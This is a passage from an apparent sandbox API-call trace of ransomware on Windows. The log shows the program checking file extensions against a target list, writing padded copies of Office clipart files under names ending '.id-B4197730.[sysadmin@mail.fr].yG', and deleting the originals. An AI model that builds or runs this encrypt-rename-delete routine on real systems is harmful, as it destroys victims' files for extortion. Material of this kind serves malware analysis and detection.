	[0154.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0154.872] lstrlenW (lpString=".1cd") returned 4
	[0154.872] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0154.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0154.872] lstrlenW (lpString=".jpg") returned 4
	[0154.872] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0154.872] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0154.873] lstrlenW (lpString="J0099151.WMF") returned 12
	[0154.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.873] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=26086) returned 1
	[0154.873] CloseHandle (hObject=0x52c) returned 1
	[0154.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220
	[0154.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.874] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.874] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0154.875] GetLastError () returned 0x0
	[0154.875] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x65e6, lpOverlapped=0x0) returned 1
	[0154.877] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x65f0, lpOverlapped=0x0) returned 1
	[0154.879] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.879] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.879] SetEndOfFile (hFile=0x550) returned 1
	[0154.879] CloseHandle (hObject=0x550) returned 1
	[0154.879] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.880] SetEndOfFile (hFile=0x52c) returned 1
	[0154.883] CloseHandle (hObject=0x52c) returned 1
	[0154.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1
	[0156.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.174] lstrlenW (lpString=".doc") returned 4
	[0156.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.174] lstrlenW (lpString=".docx") returned 5
	[0156.174] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0156.174] lstrlenW (lpString=".pdf") returned 4
	[0156.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.174] lstrlenW (lpString=".xls") returned 4
	[0156.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.174] lstrlenW (lpString=".xlsx") returned 5
	[0156.175] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0156.175] lstrlenW (lpString=".ppt") returned 4
	[0156.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.175] lstrlenW (lpString=".zip") returned 4
	[0156.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.175] lstrlenW (lpString=".rar") returned 4
	[0156.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.175] lstrlenW (lpString=".bz2") returned 4
	[0156.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.176] lstrlenW (lpString=".7z") returned 3
	[0156.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.176] lstrlenW (lpString=".dbf") returned 4
	[0156.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.176] lstrlenW (lpString=".1cd") returned 4
	[0156.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.177] lstrlenW (lpString=".jpg") returned 4
	[0156.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.177] lstrlenW (lpString=".doc") returned 4
	[0156.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.177] lstrlenW (lpString=".docx") returned 5
	[0156.178] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0156.178] lstrlenW (lpString=".pdf") returned 4
	[0156.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.178] lstrlenW (lpString=".xls") returned 4
	[0156.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.178] lstrlenW (lpString=".xlsx") returned 5
	[0156.178] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0156.178] lstrlenW (lpString=".ppt") returned 4
	[0156.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.179] lstrlenW (lpString=".zip") returned 4
	[0156.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.179] lstrlenW (lpString=".rar") returned 4
	[0156.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.179] lstrlenW (lpString=".bz2") returned 4
	[0156.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.179] lstrlenW (lpString=".7z") returned 3
	[0156.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.182] lstrlenW (lpString=".dbf") returned 4
	[0156.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.182] lstrlenW (lpString=".1cd") returned 4
	[0156.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.182] lstrlenW (lpString=".jpg") returned 4
	[0156.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.183] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0156.183] lstrlenW (lpString="J0099157.JPG") returned 12
	[0156.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0156.509] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=9671) returned 1
	[0156.509] CloseHandle (hObject=0x54c) returned 1
	[0156.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220
	[0156.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.716] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.716] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0156.717] GetLastError () returned 0x0
	[0156.717] ReadFile (in: hFile=0x350, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x25c7, lpOverlapped=0x0) returned 1
	[0156.720] WriteFile (in: hFile=0x518, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x25d0, lpOverlapped=0x0) returned 1
	[0156.722] ReadFile (in: hFile=0x350, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.722] WriteFile (in: hFile=0x518, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.722] SetEndOfFile (hFile=0x518) returned 1
	[0156.722] CloseHandle (hObject=0x518) returned 1
	[0156.722] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.723] SetEndOfFile (hFile=0x350) returned 1
	[0156.730] CloseHandle (hObject=0x350) returned 1
	[0156.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0156.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1
	[0156.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.732] lstrlenW (lpString=".doc") returned 4
	[0156.732] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.732] lstrlenW (lpString=".docx") returned 5
	[0156.732] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0156.732] lstrlenW (lpString=".pdf") returned 4
	[0156.732] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.733] lstrlenW (lpString=".xls") returned 4
	[0156.733] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.733] lstrlenW (lpString=".xlsx") returned 5
	[0156.733] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0156.733] lstrlenW (lpString=".ppt") returned 4
	[0156.733] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.733] lstrlenW (lpString=".zip") returned 4
	[0156.733] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.733] lstrlenW (lpString=".rar") returned 4
	[0156.733] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.733] lstrlenW (lpString=".bz2") returned 4
	[0156.733] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.733] lstrlenW (lpString=".7z") returned 3
	[0156.733] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.733] lstrlenW (lpString=".dbf") returned 4
	[0156.733] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.734] lstrlenW (lpString=".1cd") returned 4
	[0156.734] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.734] lstrlenW (lpString=".jpg") returned 4
	[0156.734] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.734] lstrlenW (lpString=".doc") returned 4
	[0156.734] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.734] lstrlenW (lpString=".docx") returned 5
	[0156.734] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0156.734] lstrlenW (lpString=".pdf") returned 4
	[0156.734] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.734] lstrlenW (lpString=".xls") returned 4
	[0156.734] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.734] lstrlenW (lpString=".xlsx") returned 5
	[0156.735] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0156.735] lstrlenW (lpString=".ppt") returned 4
	[0156.735] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.735] lstrlenW (lpString=".zip") returned 4
	[0156.735] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.735] lstrlenW (lpString=".rar") returned 4
	[0156.735] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.735] lstrlenW (lpString=".bz2") returned 4
	[0156.735] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.735] lstrlenW (lpString=".7z") returned 3
	[0156.735] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.735] lstrlenW (lpString=".dbf") returned 4
	[0156.735] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.735] lstrlenW (lpString=".1cd") returned 4
	[0156.735] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.735] lstrlenW (lpString=".jpg") returned 4
	[0156.736] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.736] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0156.736] lstrlenW (lpString="J0099161.JPG") returned 12
	[0156.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.738] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=7154) returned 1
	[0156.738] CloseHandle (hObject=0x350) returned 1
	[0156.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220
	[0156.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.739] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.739] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0156.741] GetLastError () returned 0x0
	[0156.741] ReadFile (in: hFile=0x350, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1bf2, lpOverlapped=0x0) returned 1
	[0156.755] WriteFile (in: hFile=0x518, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1c00, lpOverlapped=0x0) returned 1
	[0156.757] ReadFile (in: hFile=0x350, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.757] WriteFile (in: hFile=0x518, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.757] SetEndOfFile (hFile=0x518) returned 1
	[0156.757] CloseHandle (hObject=0x518) returned 1
	[0156.757] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.757] SetEndOfFile (hFile=0x350) returned 1
	[0156.761] CloseHandle (hObject=0x350) returned 1
	[0156.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0156.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1
	[0156.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0156.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0156.763] lstrlenW (lpString=".doc") returned 4
	[0156.763] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.763] lstrlenW (lpString=".docx") returned 5
	[0156.763] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0156.763] lstrlenW (lpString=".pdf") returned 4
	[0156.763] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.763] lstrlenW (lpString=".xls") returned 4
	[0156.763] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.763] lstrlenW (lpString=".xlsx") returned 5
	[0156.763] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0156.763] lstrlenW (lpString=".ppt") returned 4
	[0156.763] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0156.764] lstrlenW (lpString=".zip") returned 4
	[0156.764] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.764] lstrlenW (lpString=".rar") returned 4
	[0156.764] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.764] lstrlenW (lpString=".bz2") returned 4
	[0156.764] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.764] lstrlenW (lpString=".7z") returned 3
	[0156.764] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0156.764] lstrlenW (lpString=".dbf") returned 4
	[0156.764] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0156.764] lstrlenW (lpString=".1cd") returned 4
	[0156.764] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0156.764] lstrlenW (lpString=".jpg") returned 4
	[0156.764] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0156.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0156.765] lstrlenW (lpString=".doc") returned 4
	[0156.765] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.765] lstrlenW (lpString=".docx") returned 5
	[0156.765] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0156.765] lstrlenW (lpString=".pdf") returned 4
	[0156.765] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.765] lstrlenW (lpString=".xls") returned 4
	[0156.765] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.765] lstrlenW (lpString=".xlsx") returned 5
	[0156.765] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0156.765] lstrlenW (lpString=".ppt") returned 4
	[0156.765] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0156.765] lstrlenW (lpString=".zip") returned 4
	[0156.765] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.765] lstrlenW (lpString=".rar") returned 4
	[0156.765] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.765] lstrlenW (lpString=".bz2") returned 4
	[0156.902] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.902] lstrlenW (lpString=".7z") returned 3
	[0156.902] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0156.902] lstrlenW (lpString=".dbf") returned 4
	[0156.902] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
